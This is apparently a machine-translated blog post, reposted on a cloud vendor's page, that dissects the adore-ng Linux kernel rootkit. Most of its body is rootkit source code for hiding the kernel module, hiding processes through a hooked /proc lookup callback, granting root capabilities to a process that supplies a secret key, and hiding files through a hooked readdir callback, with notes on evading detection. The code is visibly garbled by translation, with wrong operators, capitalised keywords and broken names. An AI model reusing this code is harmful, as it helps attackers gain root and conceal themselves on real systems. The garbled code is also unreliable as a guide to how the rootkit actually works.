Two linux kernels rootkit-2: adore-ng

Source: Internet
Author: User

From: http://blog.csdn.net/dog250/archive/2010/02/09/5303688.aspx

 

This rootkit uses no more technology than the previous one. It does not intercept system calls, but intercepts the callback functions of a specific file system. The callback functions of the file system are dynamically registered and uncertain, the anti-Black software cannot simply conclude that this function has been hacked, so this rootkit seems to be a little better than the previous one. Naturally, since it is a kernel module, module hiding is also an important part. The following is a simple module hiding code. The premise of using this code is to load the module immediately after the module is to be hidden:

... // Omit the header file

Int init_module ()

{

If (_ this_module.next) // The logic is very simple. Because the hidden module is loaded before this module, you need to change the next pointer of this module.

_ This_module.next = _ this_module.next-> next;

Return 0;

}

... // Omitted

The first step of the rootkit is to build a bitmap hidden_procs with all processes. If any process needs to be hidden, set the position of the PID of the process to 1, and vice versa.

Inline void hide_proc (pid_t X)

{

If (x> = pid_max | x = 1)

Return;

Hidden_procs [X/8] | = 1 <(X % 8 );

}

Inline void unhide_proc (pid_t X)

{

If (x> = pid_max)

Return;

Hidden_procs [X/8] & = ~ (1 <(X % 8 ));

}

In fact, the following function is not related to this rootkit. It is just a help function, but it is also listed. The meaning of this function is to convert a string into a number.

Int adore_atoi (const char * Str)

{

Int ret = 0, mul = 1;

Const char * PTR;

For (PTR = STR; * PTR> = '0' & * PTR <= '9'; PTR ++ );

PTR --;

While (PTR> = Str ){

If (* PTR <'0' | * PTR> '9 ')

Break;

RET + = (* PTR-'0') * Mul;

Mul * = 10;

PTR --;

}

Return ret;

}

The following function is used to determine whether a process is hidden. In short, if the position of the PID of the process on the bitmap is 1, the process should be hidden. Otherwise, the process should not be hidden, another policy is to hide sub-processes of a hidden process:

Int should_be_hidden (pid_t PID)

{

Struct task_struct * P = NULL;

If (is_invisible (PID )){

Return 1;

}

P = adore_find_task (PID );

If (! P)

Return 0;

Task_lock (P );

If (is_invisible (p-> parent-> PID )){

Task_unlock (P );

Hide_proc (PID );

Return 1;

}

Task_unlock (P );

Return 0;

}

The ps command for viewing a process is mainly used to traverse the root directory of the/proc file system. As long as it is a number, it is regarded as the PID of a process. The method of hiding a process with the rootkit is very simple:

Sprintf (BUF, aprefix "/hide-% d", pid );

Close (open (BUF, o_rdwr | o_creat, 0 ));

Because the open system call will eventually call the lookup callback function, let's write a post in this lookup. If you want to hide the process whose PID is n, we first create a new hide-n file in/proc, because we have hacked the lookup callback function of the specific proc file system to be adore_lookup, therefore, we can put the operations of hidden processes in this lookup. If the prefix of a file in this lookup is hide-, we will call the hide_proc function, the specific PID is the string converted to a number after the fifth character of the new file. Note that the adore_lookup function hides files when creating a file with the hide prefix. If a hidden file is created by running the ps command, null is returned, someone may ask, in the/proc directory, there is no permission to create a new file. Yes, there is no permission. The key is that the purpose of creating a file is not to create a new file, instead, we only want to make the execution stream arrive at lookup to call hide_proc. That's all:

Struct dentry * adore_lookup (struct inode * I, struct dentry * D)

{

Task_lock (current );

If (strncmp (adore_key, D-> d_iname, strlen (adore_key) = 0 ){

Current-> flags | = pf_auth;

Current-> SUID = adore_version;

} Else if (current-> flags & pf_auth) & strncmp (D-> d_iname, "fullprivs", 9) = 0 ){

... // All IDS are set to 0, which indicates Root

Cap_set_full (current-> cap_effective );

Cap_set_full (current-> cap_inheritable );

Cap_set_full (current-> cap_permitted );

} Else if (current-> flags & pf_auth) & strncmp (D-> d_iname, "Hide-", 5) = 0) {// to hide a process, you only need to create an hide-(PID) in the proc directory.

Hide_proc (adore_atoi (D-> d_iname + 5 ));

} Else if (current-> flags & pf_auth) & strncmp (D-> d_iname, "unhide-", 7) = 0 ){

Unhide_proc (adore_atoi (D-> d_iname + 7 ));

} Else if (current-> flags & pf_auth) & strncmp (D-> d_iname, "Uninstall", 9) = 0 ){

Cleanup_module ();

}

Task_unlock (current );

If (should_be_hidden (adore_atoi (D-> d_iname ))&&! Should_be_hidden (current-> PID ))

Return NULL;

Return orig_proc_lookup (I, d );

}

So far, the process has been hidden. How can the port be hidden? It's easy. In the same way, it's enough to intercept the/proc file system. How can I hide the final file? If you want to display the directory of hidden files with LS, the simple method is to black out the readdir callback function of the file system:

Int adore_root_readdir (struct file * FP, void * Buf, filldir_t filldir)

{

Int r = 0;

If (! FP |! FP-> f_vfsmnt)

Return 0;

Root_filldir = filldir; // Save the original filldir

Root_sb [Current-> PID % 1024] = FP-> f_vfsmnt-> mnt_sb;

R = orig_root_readdir (FP, Buf, adore_root_filldir );

Return R;

}

Int adore_root_filldir (void * Buf, const char * Name, int nlen, loff_t off, ino_t Ino, unsigned X)

{

Struct inode * inode = NULL;

Int r = 0;

Uid_t uid;

Gid_t GID;

If (inode = iget (root_sb [Current-> PID % 1024], Ino) = NULL)

Return 0;

Uid = inode-> I _uid;

Gid = inode-> I _gid;

Iput (inode );

If (uid = elite_uid & gid = elite_gid) {// If the UID and gid of the file are set to the ID agreed in implementation, the file is hidden, to hide a file, you only need to call lchown to change the UID and gid of the file.

R = 0; // directly return the result when a hidden file is encountered.

} Else

R = root_filldir (BUF, name, nlen, off, Ino, x); // if you do not need to hide it, call the original filldir

Return R;

}

Note: This rootkit does not intercept the getdents64 and getdents system calls, but directly intercepts the readdir callback function in file_operations called by getdentsxx. This method is flexible and not easy to detect, after all, the anti-Black program can monitor the address called by the system, but cannot simply monitor the address of the callback function, because it is important that I register a new file system, then there will be a new address, if the anti-Black Program is responsible, it will be exhausted one day. As the number of file systems increases, the anti-Black program will span the entire system.

So far, the general framework of the rootkit has been set up, and the previous rootkit must be more concealed, without using machine-related assembly code that is very error-prone, just use the pointer operation in the Standard C language. It is very intuitive and you have never said goodbye to assembly. You need to have a simple understanding of the process of the kernel file system.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.